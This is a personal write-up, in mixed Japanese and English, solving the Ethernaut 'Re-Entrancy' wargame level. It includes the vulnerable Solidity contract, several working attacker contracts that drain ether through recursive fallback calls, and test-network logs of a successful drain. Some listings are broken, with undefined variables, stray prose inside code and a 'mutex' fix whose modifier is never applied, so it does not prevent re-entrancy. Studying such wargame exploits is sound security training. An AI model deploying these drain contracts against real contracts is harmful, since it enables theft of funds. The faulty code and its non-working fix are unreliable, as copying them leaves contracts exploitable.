🌴

Ethernaut-solution 10. Re-Entrancy

2023/05/06に公開

Ethernaut-solution

10. Re-Entrancy

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.

  • Fallback methods

  • Throw/revert bubbling

Sometimes the best way to attack a contract is with another contract.

See the Help page above, section "Beyond the console"

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

//A re-Entrancy atttack occurs when you write a function in your contract that makes an external function call to another untrusted contract.

// before your function call is able to completely executing and resolve any kind of effects.

//you're calling or you're potentially calling contract that's untrusted, they can take control of your calling function in your contract

//and make a recursive call that creates a loop with very unfortunate and very unintended consequences

//DAOWallet.sol
pragma solidity ^0.8.0;

contract DAOWallet {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;

    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount); // -> check 
        //recursive call the DAOWallet withdraw function again, and we're gonna create that loop and 
        //we're never gonna get this code here,there's gonna be suck the money drive from this dao from this dao wallet contract.
        
        (bool sent, ) = msg.sender.call{ value: _amount }(""); =>  Attack to reentrancy and security vlunerability! //-> Interaction
        //function call to transfer the money to the account that's requesting a withdraw is conducted first 
        //before the internal accounting mechanism is properly edited and decremented appropreiately.
        //this msg.sender is going to be attack smart contract that we're going to write right now,  
        //and it's going to create this recursive loop that's going to allow it to just call withdraw have money sent to it,
        //and then automatically call withdraw again, and have money sent to it again and again until this contract loses all of the money.




        require(sent, "Monet Transfer failed!");

        balances[msg.sender] -= _amount; // -> Effects 
    }

    function getAccountBalances() public view returns (uint) {
        return address(this).balances;
    }
} *Check-Effect-Interactive のprocess of smart contract security。この順番を守れないとvulnerability
we are now recommended that transfer() and send() be avoided.
Not really a good fix due to the gas limits posibliy changing over time, not a long-term fix.  
//ReentrancyAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './DAOWallet.sol';

contract ReentrancyAttack { 
    DAOWallet public dWallet;

    constructor(address _daoWalletAddress) public {
        dWallet = DAOWallet(_daoWalletAddress);

    }

    function attack() external payable {//executed attack 
        require(msg.value >= 1 ether);

        dWallet.deposit{ value: msg.value }();//put money into DAOWallet
        dWallet.withdraw(1 ether); //and then withdraw cuz function withdraw programmed to send our contract money 
        //which means it's gonna hit our fallback function 
    }

    fallback() external payable {
        if(address(dWallet).balance >= 1 ether) {
                 dWallet.withdraw(1 ether); 
        }   

    }

    function getContractBalance() public view returns(uint) {
        return address(this).balance;
    }
}

URLが不正です//DAOWallet.sol

//Javascript VMではじめにDeploy

//Account 1.Dale 2.Laura

//1.Dale の状態でvalueを 1 Etherに設定。=> deployしてtransactionの成功を確認 => Deployed Contractを選択してdeposit => getAccountBalanceで 1Etherの入金を確認

[vm]from: 0x5B3...eddC4to: DAOWallet.deposit() 0xd91...39138value: 1000000000000000000 weidata: 0xd0e...30db0logs: 0hash: 0xca1...fce18
call to DAOWallet.getAccountBalances

//2.Laura の状態でもvalueを1 Ether => getAccountBalanceで 2 Etherになったことを確認 (誰でもdeployできる状況)

[vm]from: 0xAb8...35cb2to: DAOWallet.deposit() 0xd91...39138value: 1000000000000000000 weidata: 0xd0e...30db0logs: 0hash: 0xdbe...b78c9
call to DAOWallet.getAccountBalances

URLが不正です//ReentrancyAttack.sol

ref: Defi Developer Academy

//3. Bob => Attack to reentrancy and security vlunerability! //32:12

//DeployedContract DAOWalletのAddressをcopyしてdeployにpaste => select ReentrancyAttack contract => deploy => show up reentrancyAttack contract

[vm]from: 0x4B2...C02dbto: ReentrancyAttack.(constructor)value: 0 weidata: 0x608...39138logs: 0hash: 0xc0d...1c32f //35:08

//Attack failed?? //36:15 => 失敗の原因がわからないのでsearch

[vm]from: 0x4B2...C02dbto: ReentrancyAttack.attack() 0xa9d...6661Dvalue: 1000000000000000000 weidata: 0x9e5...faafclogs: 0hash: 0x258...b2043
transact to ReentrancyAttack.attack errored: VM error: revert.
revert
  The transaction has been reverted to the initial state.
Reason provided by the contract: "Monet Transfer failed!".
Debug the transaction to get more information.

//getContractBalance 2 ETH

/how prevent this attack ever happning //38:23

//mutex

mutex is something that places a lock on some contract state and only the owner of that lock can modify the state 
and the idea is that you basically lock a contract while a function is being executed.
and that ensures that only a single function can be executed at a time.
mutex would basically be an internal mechanism.we would track of that would of piece of state in our case our balances 
is only being modified while a function is getting executed once that only single function executed at a time 

//DAOWallet.sol custom

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DAOWallet {
    mapping(address => uint) public balances; //sort of internal accounting mechanism 
    bool internal locked; //as mutex

    function deposit() public payable {
        balances[msg.sender] += msg.value;

    }

    modifier noReentranct() {//would executed first //mutex using modifier
        require(!locked, "Absolutely no re-entrancy!");
        //the contract is not locked, if locked is equal to true.
        locked = true;//this little internal mutex, and then executing everything inside of unsafeWithdraw 
        _; //would executed function that would be responsible 
        locked = false;
    }

    //checks-effects-interactions pattern
    function unsafeWithdraw(uint _amount) public {//somebody were recursive call this function again, basically unsafeWithdraw function is false which means get to require(!locked, "Absolutely no re-entrancy!");
      //we set it true,and then function get call, 
        require(balances[msg.sender] >= _amount);

        (bool sent, ) = msg.sender.call{ value: _amount }("");
        require(sent, "Monet Transfer failed!");

        balances[msg.sender] -= _amount;
    }

    function getAccountBalances() public view returns (uint) {
        return address(this).balance;
    }
}

//今までのDAOWalletを使ったRe-Entrancy Attack lessonを参考に実践してみる。

/Reentrance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/utils/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) { //[2] このcodeのVulnerabilityでEth抜きまくれる //[check]
      //*make sure adheing to the "check-effect-interaction" solidity pattern!

      (bool result,) = msg.sender.call{value:_amount}(""); //[interaction]
      //msg.sender represent a user wallet address that could be a smart contract and if you're calling its fallback function,
      //there can be malicious code in there. that's going to exploit some vlunerability that you have in contract 
      //now that way again that this could have been fixed is [1]
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount; //[effect]
      //[1] maintain the balance for a given account before we called the fallback function that sent money "msg.sender.call{value:_amount}(""); "" to the contract.
    }//recursive loop would never have been able to get executed and again if this [2] of code would have been underneath withdraw function.

  }

  fallback() external payable {}
}
/EthernautReentrancyAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Reentrance.sol';

contract EthernautReentrancyAttack {
    Reentrance target;
    uint public amount = 1 ether; //withdraw amount each other 

    constructor(address payable _targetAddr) public payable {
        target = Reentrance(_targetAddr);
    }

    function donateToTarget() public { //Ethを送ることでhackingする
        target.donate{ value: _amount, gas: 4000000 }(address(this)); //need to add this fn 
  //自分でcustom codeできたのはいい傾向。
    }

    fallback() external payable { //fallbackがtriggerになってzeroになるまでEthを抜き続ける
        if (address(target).balance != 0) {
            target.withdraw(amount);
        }
    }

}

/EthernautReentrancyAttack.sol custom!! 0.001用

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Reentrance.sol';

contract EthernautReentrancyAttack {
    Reentrance target;
    uint public amount = 1000000000000000 wei; //withdraw amount each other 

    constructor(address payable _targetAddr) public payable {
        target = Reentrance(_targetAddr);
    }

    function donateToTarget() public { //Ethを送ることでhackingする
        target.donate{ value: amount, gas: 4000000 }(address(this)); //need to add this fn 
  //自分でcustom codeできたのはいい傾向。
    }

    fallback() external payable { //fallbackがtriggerになってzeroになるまでEthを抜き続ける
        if (address(target).balance != 0) {
            target.withdraw(amount);
        }
    }

}

*process!

//HackしたいcontractのAddressを確認

>contract.address
'0xaF39fAee90a94f990C7479c460Ddf659084ee1F1'

//deploy copy address, Injected Web3を選択、value of 1 Ether, さっきdeployした contrat of EtherReentrancyAttack.sol をchoice

//deploy done.

[block:10901374 txIndex:3]from: 0xF6e...f30F5to: EthernautReentrancyAttack.(constructor)value: 1000000000000000 weidata: 0x608...ee1f1logs: 0hash: 0x016...02cf3

//HackしたいcontractのEth残高確認(すでにtargetとしてdeploy済み)

>await getBalance(contract.address)
'0.001'

// deployed Contracrs of EthernautReentrancyAttack.sol のAddress copy

0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F
>await getBalance("0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F")
'0.001'

//click donateToTarget
//donateすることでHackしたいcontractにAccessできるようになる

[block:10901383 txIndex:5]from: 0xF6e...f30F5to: EthernautReentrancyAttack.donateToTarget() 0x795...2468Fvalue: 0 weidata: 0x52e...3b827logs: 0hash: 0xbb9...4c252

//寄付完了

>await getBalance(contract.address)
'0.002'

//now we know that exist in this balances mapping!

//Hacking用のcontract addressのbalanceOfを確認してみると、すでにmapping(Hacking)済みなのがわかる。

await contract.balanceOf("0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F")
o {negative: 0, words: Array(3), length: 2, red: null}
length: 2
negative: 0
red: null
words: Array(3)
0: 13008896
1: 14901161
length: 3
[[Prototype]]: Array(0)
[[Prototype]]: Object

/このcodeのVulnerabilityを突いてover and over Ethを抜きまくり

if(balances[msg.sender] >= _amount) {

//transact をtapするとfallback function が発動する on EthernautReentrancyAttack.sol

[block:10901390 txIndex:3]from: 0xF6e...f30F5to: EthernautReentrancyAttack.(fallback) 0x795...2468Fvalue: 0 weidata: 0xlogs: 0hash: 0x78d...84e2b

//stealing 成功

>await getBalance(contract.address)
'0'

Ref:D-squared youtube channel

*Flaw

Check > Interact > Effect(wrong order) - leads to re-entrancy flaw

Externally owned account (EOA)...

*Assumption => Baked in assumption that we are going to interact with an EOA. but in the real-world contracts a fair game too.

Fallbacks... We are going to "fallback" into the target over and over, until we remove all the funds.

mutex (mutual exclusion object)

a program object that is created so that multiple program thread can take turns sharing the same resource, such as access to a file.

//24:00- code review


/これも試してみた from DEV https://dev.to/nvn/ethernaut-hacks-level-10-re-entrancy-42o9

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint targetValue = 1000000000000000;

    constructor(address _targetAddr) public {
        targetContract = IReentrance(_targetAddr);
        owner = msg.sender;
    }

    function balance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate.value(msg.value)(address(this));
        targetContract.withdraw(msg.value);
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner, "my money!!");
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call.value(totalBalance)("");
        require(sent, "Failed to send Ether");
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}

In order to prevent re-entrancy attacks when moving funds out of your contract,
use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow.

Solutions such as ReentrancyGuard or PullPayment can also be used.

https://docs.soliditylang.org/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern
https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard
https://docs.openzeppelin.com/contracts/2.x/api/payment#PullPayment

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.
https://forum.openzeppelin.com/t/reentrancy-after-istanbul/1742

Always assume that the receiver of the funds you are sending can be another contract,
not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract,
possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!


The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract.

See 15 lines of code that could have prevented TheDAO Hack.

https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942/


References

Discussion